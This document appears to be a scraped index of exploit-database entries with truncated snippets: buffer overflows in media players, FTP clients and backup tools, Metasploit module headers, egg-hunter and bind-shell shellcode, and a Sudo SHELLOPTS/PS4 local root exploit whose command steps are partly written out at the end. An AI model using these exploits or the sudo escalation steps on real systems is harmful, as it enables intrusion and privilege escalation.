BS.Player 2.57 Buffer Overflow

+Exploit Title: Exploit Buffer Overfloe Bsplayer 2.57UNICODE-SEH +Date: 01\07\2010 +Author: C4SS!0 G0M3S +Software Link: http://www.bsplayer.com/services/downlad-free-bsplayer.php?type=2 +Version: 2.57 +Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN +CVE: N/A / Created By C4SS!0 G0M3S...

LeapFTP 3.0.1 Stack Buffer Overflow

$Id: leapftplistreply.rb 10660 2010-10-12 18:39:21Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

FTPShell 5.1 Stack Buffer Overflow

This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets triggered when the ftp client tries to process an overly long response to a PWD command. This will overwrite the saved EIP and structured exception handler. This module requires Metasploit:...

DJ Studio Pro 8.1.3.2.1 SEH Overwrite

DJ Studio Pro Version 8.1.3.2.1 SEH 0 day Author Abhishek Lyall - abhilyallatgmaildotcom, infoataslitsecuritydotcom Web - http://www.aslitsecurity.com/ Blog - http://www.aslitsecurity.blogspot.com/ Download Vulnerable application from http://www.e-soft.co.uk/DJSP.htm Vulnerable version DJ Studio...

win32/xp Checksum Routine shellcode 122 bytes

Exploit for win32 platform in category shellcode ============================================= win32/xp Checksum Routine shellcode 122 bytes ============================================= ;Exploit Title: Shellcode Checksum Routine ;Date: Sept 1 2010 ;Author: dijital1 ;Software Link:...

Acunetix Web Vulnerability Scanner DLL Hijacking Exploit

// Exploit Title: Acunetix Web Vulnerability Scanner DLL Hijack // Date: 25 Aug 2010 // Author: Kolor // Software Link: http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner65.exe // Version: 6.5.20100616 // Tested on: Windows 7 64bit Eng // Vuln ext.: .WVS saved report include defin...

Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (.zip) SEH

Exploit for windows platform in category local exploits ===================================================================== Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 .zip SEH ===================================================================== !/usr/bin/ruby Software : Urgent...

Archive Searcher - '.zip' Local Stack Overflow

!/usr/bin/ruby Software : Archive Searcher 2.1 Author : Lincoln OS : Windows Tested on : XP SP3 En VirtualBox Type of vuln : SEH Greetz to : Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ Script provided 'as is', without any warranty. Use for educational...

Archive Searcher .zip Stack Overflow

Exploit for windows platform in category local exploits ==================================== Archive Searcher .zip Stack Overflow ==================================== !/usr/bin/ruby Software : Archive Searcher 2.1 Author : Lincoln OS : Windows Tested on : XP SP3 En VirtualBox Type of vuln : SEH...

JITed egg-hunter stage-0 shellcode Adjusted universal for xp/vista/win7

Exploit for win32 platform in category shellcode ======================================================================= JITed egg-hunter stage-0 shellcode Adjusted universal for xp/vista/win7 ======================================================================= // JITed egg-hunter stage-0...

eDisplay Personal FTP Server 1.0.0 Stack Buffer Overflow

Exploit Title : eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF Type of sploit: Remote Code Execution Bug found by : loneferret march 19, 2010 Reference : http://www.exploit-db.com/exploits/11810 Exploit date : March 20, 2010 Author : corelanc0d3r Version : 1.0.0 OS :...

JITed egg-hunter stage-0 shellcode

No description provided by source. // JITed egg-hunter stage-0 shellcode // Permanent DEP bypass // // By Alexey Sintsov // [email protected] // [email protected] // // DSecRG - Digital Security Research Group dsecrg.com// // // TAG=3135330731353307 // its mean 0x07333531 twice! // // // This versi...

JITed egg-hunter stage-0 shellcode

JITed egg-hunter stage-0 shellcode. Shellcode exploit for windows platform // JITed egg-hunter stage-0 shellcode // Permanent DEP bypass // // By Alexey Sintsov // [email protected] // [email protected] // // DSecRG - Digital Security Research Group dsecrg.com// // // TAG=3135330731353307 // its me...

JITed egg-hunter stage-0 shellcode

Exploit for win32 platform in category shellcode ================================== JITed egg-hunter stage-0 shellcode ================================== // JITed egg-hunter stage-0 shellcode // Permanent DEP bypass // // By Alexey Sintsov // email protected // email protected // // DSecRG -...

HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ================================================================== HTML Help Workshop 4.74 hhp Project File Buffer Overflow Exploit ================================================================== Title: HTML Help Workshop 4.74 hhp Project...

Linux/x86-64 - Bind TCP (4444/TCP) + Stager + Egghunter (0x64616564) Shellcode (157 bytes)

Linux/x86-64 - Bind TCP 4444/TCP + Stager + Egghunter 0x64616564 Shellcode 157 bytes. Shellcode exploit for Linuxx86-64 platform ;Exam Assignment 3 ;implementation of egghunter ;Default egg = "deaddead" ; ;If connected the stager check of egg , if present execute the code ; ;You can send a maximu...

Realtek Sound Manager (rtlrack.exe v. 1.15.0.0) PlayList BOF Exploit

No description provided by source. usage: exploit.py print "--------------------------------------------------------------------------" print " Realtek Sound Manager rtlrack.exe v. 1.15.0.0 PlayList Buffer Overflow\n" print " url: http://www.realtek.com.tw/\n" print " download:...

MD5Crack 4.0-vulnerability warning-the black bar safety net

I always prefer MD5Crack, today to see the author publish a new version, with a relatively large update. MD5Crack 4.0 in the retention MD5Crack features on the basis of the re-modified the entire framework. All the code are rewritten. The rewrite is mainly a logic portion and a UI portion for the...

SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow

SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow / Change passwd 3.1 SquirrelMail plugin Coded by rod hedor web-- http://lezr.com local exploit Multiple buffer overflows are present in the handling of command line arguements in chpasswd. The bug allows a hacker to exploit the process...

Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit

Exploit for linux platform in category local exploits ================================================================ Sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls...